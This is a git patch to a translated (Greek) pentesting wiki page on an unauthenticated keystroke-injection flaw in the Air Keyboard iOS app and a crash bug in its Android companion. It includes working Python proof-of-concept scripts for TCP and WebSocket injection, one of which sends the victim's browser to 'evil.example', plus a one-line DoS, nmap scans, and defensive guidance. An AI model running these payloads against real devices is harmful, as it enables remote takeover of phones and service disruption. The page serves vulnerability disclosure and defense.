From 83634666aaadb766d826e0ac7bbc2676be3792a5 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 30 Jul 2025 14:15:20 +0000 Subject: [PATCH] Translated ['src/mobile-pentesting/ios-pentesting/air-keyboard-remote-in --- .../air-keyboard-remote-input-injection.md | 143 ++++++++++++++---- 1 file changed, 112 insertions(+), 31 deletions(-) diff --git a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md index 20dbf5df1..7a52510dd 100644 --- a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md +++ b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md @@ -1,19 +1,26 @@ -# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener) +# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener) {{#include ../../banners/hacktricks-training.md}} ## TL;DR -Η iOS έκδοση της εμπορικής εφαρμογής "Air Keyboard" (App Store ID 6463187929) ανοίγει μια **υπηρεσία TCP σε καθαρό κείμενο στην πόρτα 8888** που δέχεται καρέ πλήκτρων **χωρίς καμία αυθεντικοποίηση**. -Οποιαδήποτε συσκευή στο ίδιο δίκτυο Wi-Fi μπορεί να συνδεθεί σε αυτή την πόρτα και να εισάγει αυθαίρετη είσοδο πληκτρολογίου στο τηλέφωνο του θύματος, επιτυγχάνοντας **πλήρη απομακρυσμένη αλληλεπίδραση hijacking**. +Η έκδοση iOS της εμπορικής εφαρμογής **“Air Keyboard”** (App Store ID 6463187929) εκθέτει μια υπηρεσία τοπικού δικτύου που **αποδέχεται καρέ πλήκτρων χωρίς καμία πιστοποίηση ή επαλήθευση προέλευσης**. Ανάλογα με την εγκατεστημένη έκδοση, η υπηρεσία είναι είτε: -Μια συνοδευτική έκδοση Android ακούει στην **πόρτα 55535**. Εκτελεί μια αδύναμη χειραψία AES-ECB, αλλά τα κατασκευασμένα σκουπίδια προκαλούν μια **μη διαχειριζόμενη εξαίρεση στη ρουτίνα αποκρυπτογράφησης OpenSSL**, καταρρίπτοντας την υπηρεσία στο παρασκήνιο (**DoS**). +* **≤ 1.0.4** – raw TCP listener σε **port 8888** που αναμένει μια κεφαλίδα μήκους 2 byte ακολουθούμενη από ένα *device-id* και το ASCII payload. +* **≥ 1.0.5 (Ιούνιος 2025)** – **WebSocket** listener στην *ίδια* θύρα (**8888**) που αναλύει **JSON** κλειδιά όπως `{"type":1,"text":"…"}`. + +Οποιαδήποτε συσκευή στο ίδιο Wi-Fi / υποδίκτυο μπορεί επομένως να **εισάγει αυθαίρετη είσοδο πληκτρολογίου στο τηλέφωνο του θύματος, επιτυγχάνοντας πλήρη απομακρυσμένη αλληλεπίδραση**. +Μια συνοδευτική έκδοση Android ακούει σε **port 55535**. Εκτελεί μια αδύναμη χειραψία AES-ECB, αλλά τα κακοσχεδιασμένα δεδομένα προκαλούν ακόμα μια **μη διαχειριζόμενη εξαίρεση μέσα στο OpenSSL**, καταρρίπτοντας την υπηρεσία στο παρασκήνιο (**DoS**). + +> Η ευπάθεια είναι **ακόμα μη επιδιορθωμένη την ώρα της συγγραφής (Ιούλιος 2025)** και η εφαρμογή παραμένει διαθέσιμη στο App Store. + +--- ## 1. Service Discovery Σαρώστε το τοπικό δίκτυο και αναζητήστε τις δύο σταθερές θύρες που χρησιμοποιούνται από τις εφαρμογές: ```bash -# iOS (input-injection) +# iOS (unauthenticated input-injection) nmap -p 8888 --open 192.168.1.0/24 # Android (weakly-authenticated service) @@ -21,72 +28,146 @@ nmap -p 55535 --open 192.168.1.0/24 ``` Στις συσκευές Android μπορείτε να εντοπίσετε το υπεύθυνο πακέτο τοπικά: ```bash -adb shell netstat -tulpn | grep 55535 # no root required on emulator - +adb shell netstat -tulpn | grep 55535 # no root required on emulator # rooted device / Termux netstat -tulpn | grep LISTEN -ls -l /proc//cmdline # map PID → package name +ls -l /proc//cmdline # map PID → package name ``` -## 2. Μορφή Πλαισίου (iOS) +Σε **jailbroken iOS** μπορείτε να κάνετε κάτι παρόμοιο με `lsof -i -nP | grep LISTEN | grep 8888`. -Το δυαδικό αρχείο αποκαλύπτει την εξής λογική ανάλυσης μέσα στη ρουτίνα `handleInputFrame()`: +--- + +## 2. Λεπτομέρειες Πρωτοκόλλου (iOS) + +### 2.1 Κληρονομιά (≤ 1.0.4) – προσαρμοσμένα δυαδικά πλαίσια ``` [length (2 bytes little-endian)] [device_id (1 byte)] [payload ASCII keystrokes] ``` -Η δηλωμένη μήκος περιλαμβάνει το `device_id` byte **αλλά όχι** την επικεφαλίδα δύο byte. +Η δηλωμένη *μήκος* περιλαμβάνει το byte `device_id` **αλλά όχι** την επικεφαλίδα δύο bytes. + +### 2.2 Τρέχουσα (≥ 1.0.5) – JSON μέσω WebSocket + +Η έκδοση 1.0.5 μετανάστευσε σιωπηλά σε WebSockets διατηρώντας τον αριθμό θύρας αμετάβλητο. Ένα ελάχιστο πλήκτρο πληκτρολόγησης φαίνεται όπως: +```json +{ +"type": 1, // 1 = insert text, 2 = special key +"text": "open -a Calculator\n", +"mode": 0, +"shiftKey": false, +"selectionStart": 0, +"selectionEnd": 0 +} +``` +Δεν απαιτείται handshake, token ή υπογραφή – το πρώτο JSON αντικείμενο ήδη ενεργοποιεί το UI event. + +--- ## 3. Εκμετάλλευση PoC + +### 3.1 Στοχεύοντας ≤ 1.0.4 (raw TCP) ```python #!/usr/bin/env python3 -"""Inject arbitrary keystrokes into Air Keyboard for iOS""" +"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)""" import socket, sys -target_ip = sys.argv[1] # e.g. 192.168.1.50 -keystrokes = b"open -a Calculator\n" # payload visible to the user +target_ip = sys.argv[1] # e.g. 192.168.1.50 +keystrokes = b"open -a Calculator\n" # payload visible to the user frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8]) -frame += b"\x01" # device_id = 1 (hard-coded) +frame += b"\x01" # device_id = 1 (hard-coded) frame += keystrokes with socket.create_connection((target_ip, 8888)) as s: s.sendall(frame) -print("Injected", keystrokes) +print("[+] Injected", keystrokes) ``` -Οποιοδήποτε εκτυπώσιμο ASCII (συμπεριλαμβανομένων των `\n`, `\r`, ειδικών πλήκτρων κ.λπ.) μπορεί να σταλεί, παρέχοντας ουσιαστικά στον επιτιθέμενο την ίδια δύναμη με την φυσική είσοδο χρήστη: εκκίνηση εφαρμογών, αποστολή IMs, επίσκεψη σε phishing URLs κ.λπ. +### 3.2 Στοχοθέτηση ≥ 1.0.5 (WebSocket) +```python +#!/usr/bin/env python3 +"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)""" +import json, sys, websocket # `pip install websocket-client` + +target_ip = sys.argv[1] +ws = websocket.create_connection(f"ws://{target_ip}:8888") +ws.send(json.dumps({ +"type": 1, +"text": "https://evil.example\n", +"mode": 0, +"shiftKey": False, +"selectionStart": 0, +"selectionEnd": 0 +})) +ws.close() +print("[+] URL opened on target browser") +``` +*Οποιοδήποτε εκτυπώσιμο ASCII — συμπεριλαμβανομένων των αλλαγών γραμμής, των ταμπ και των περισσότερων ειδικών πλήκτρων — μπορεί να σταλεί, δίνοντας στον επιτιθέμενο την ίδια δύναμη με την φυσική είσοδο του χρήστη: εκκίνηση εφαρμογών, αποστολή IMs, άνοιγμα κακόβουλων URLs, εναλλαγή ρυθμίσεων, κ.λπ.* + +--- ## 4. Android Companion – Denial-of-Service -Η Android έκδοση (55535) αναμένει έναν κωδικό 4 χαρακτήρων κρυπτογραφημένο με ένα **hard-coded AES-128-ECB key** ακολουθούμενο από μια τυχαία nonce. Τα σφάλματα ανάλυσης προβάλλονται στο `AES_decrypt()` και δεν ανιχνεύονται, τερματίζοντας το νήμα ακρόασης. Ένα μόνο κακώς διαμορφωμένο πακέτο είναι αρκετό για να κρατήσει τους νόμιμους χρήστες αποσυνδεδεμένους μέχρι να επανεκκινηθεί η διαδικασία. +Η Android έκδοση (55535) αναμένει έναν **κωδικό πρόσβασης 4 χαρακτήρων κρυπτογραφημένο με ένα σκληρά κωδικοποιημένο AES-128-ECB κλειδί** ακολουθούμενο από μια τυχαία nonce. Τα σφάλματα ανάλυσης ανεβαίνουν στο `AES_decrypt()` και δεν ανιχνεύονται, τερματίζοντας το νήμα ακρόασης. Ένα μόνο κακώς διαμορφωμένο πακέτο αρκεί για να κρατήσει τους νόμιμους χρήστες αποσυνδεδεμένους μέχρι να επανεκκινηθεί η διαδικασία. ```python import socket socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS ``` -## 5. Ρίζα Αιτία +--- + +## 5. Σχετικές Εφαρμογές – Ένα Επαναλαμβανόμενο Αντι-Πρότυπο + +Το Air Keyboard είναι **όχι μια απομονωμένη περίπτωση**. Άλλες κινητές “remote keyboard/mouse” εφαρμογές έχουν αποσταλεί με την ίδια ακριβώς αδυναμία: + +* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 επιτρέπουν μη αυθεντικοποιημένη εκτέλεση εντολών και καταγραφή πλήκτρων σε απλό κείμενο. +* **PC Keyboard ≤ 30** – CVE-2022-45479/80 μη αυθεντικοποιημένη RCE & υποκλοπή κυκλοφορίας. +* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 προεπιλεγμένο-χωρίς-κωδικό, αδύναμος κωδικός PIN brute-force και διαρροή σε καθαρό κείμενο. + +Αυτές οι περιπτώσεις αναδεικνύουν μια συστημική αμέλεια των **επιφανειών επίθεσης που είναι εκτεθειμένες στο δίκτυο σε κινητές εφαρμογές**. + +--- + +## 6. Ρίζες Προβλημάτων 1. **Καμία έλεγχο προέλευσης / ακεραιότητας** σε εισερχόμενα πλαίσια (iOS). 2. **Κακή χρήση κρυπτογραφίας** (στατικός κωδικός, ECB, έλλειψη επικύρωσης μήκους) και **έλλειψη χειρισμού εξαιρέσεων** (Android). +3. **Δικαιώματα Τοπικού Δικτύου που παραχωρούνται από τον χρήστη ≠ ασφάλεια** – το iOS ζητά συγκατάθεση κατά την εκτέλεση για κυκλοφορία LAN, αλλά αυτό δεν υποκαθιστά την κατάλληλη αυθεντικοποίηση. -## 6. Μετριασμοί & Ιδέες Σκληροποίησης +--- -* Ποτέ μην εκθέτετε μη αυθεντικοποιημένες υπηρεσίες σε κινητό τηλέφωνο. -* Παράγετε μυστικά ανά συσκευή κατά την εκπαίδευση και επαληθεύστε τα πριν από την επεξεργασία εισόδου. -* Δέστε τον ακροατή στο `127.0.0.1` και χρησιμοποιήστε μια αμοιβαία αυθεντικοποιημένη, κρυπτογραφημένη μεταφορά (π.χ., TLS, Noise) για απομακρυσμένο έλεγχο. -* Ανιχνεύστε απροσδόκητες ανοιχτές θύρες κατά τη διάρκεια ελέγχων ασφάλειας κινητών (`netstat`, `lsof`, `frida-trace` στο `socket()` κ.λπ.). -* Ως τελικός χρήστης: απεγκαταστήστε το Air Keyboard ή χρησιμοποιήστε το μόνο σε αξιόπιστα, απομονωμένα δίκτυα Wi-Fi. +## 7. Στερέωση & Αμυντικά Μέτρα -## Φύλλο Συμβουλών Ανίχνευσης (Pentesters) +Συστάσεις για προγραμματιστές: + +* Δέστε τον ακροατή σε **`127.0.0.1`** και σήρατε μέσω **mTLS** ή **Noise XX** αν χρειάζεται απομακρυσμένος έλεγχος. +* Παράγετε **μυστικά ανά συσκευή κατά την εκκίνηση** (π.χ., QR code ή Pairing PIN) και επιβάλετε *αμοιβαία* αυθεντικοποίηση πριν την επεξεργασία εισόδου. +* Υιοθετήστε το **Apple Network Framework** με *NWListener* + TLS αντί για ακατέργαστους υποδοχείς. +* Εφαρμόστε **έλεγχοι εγκυρότητας μήκους** και δομημένο χειρισμό εξαιρέσεων κατά την αποκρυπτογράφηση ή αποκωδικοποίηση πλαισίων. + +Γρήγορες νίκες Blue-/Red-Team: + +* **Κυνήγι δικτύου:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` ή φίλτρο Wireshark `tcp.port == 8888`. +* **Επιθεώρηση κατά την εκτέλεση:** Σενάριο Frida που συνδέει `socket()`/`NWConnection` για να καταγράψει απροσδόκητους ακροατές. +* **Αναφορά Ιδιωτικότητας Εφαρμογών iOS (Ρυθμίσεις ▸ Ιδιωτικότητα & Ασφάλεια ▸ Αναφορά Ιδιωτικότητας Εφαρμογών)** αναδεικνύει εφαρμογές που επικοινωνούν με διευθύνσεις LAN – χρήσιμο για την ανίχνευση κακόβουλων υπηρεσιών. +* **Mobile EDRs** μπορούν να προσθέσουν απλούς κανόνες Yara-L για τα κλειδιά JSON `"selectionStart"`, `"selectionEnd"` μέσα σε καθαρό κείμενο TCP payloads στην πόρτα 8888. + +--- + +## Detection Cheat-Sheet (Pentesters) ```bash -# Quick one-liner to locate vulnerable devices in a /24 -nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}' +# Locate vulnerable devices in a /24 and print IP + list of open risky ports +nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \ +| awk '/Ports/{print $2 " " $4}' # Inspect running sockets on a connected Android target -adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done" +adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \ +echo -n \"$p → \"; cat /proc/$p/cmdline; done" ``` +--- + ## Αναφορές -- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) -- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015) +- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333) +- [Mobile-Hacker Blog (17 Ιουλ 2025) – Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) {{#include ../../banners/hacktricks-training.md}}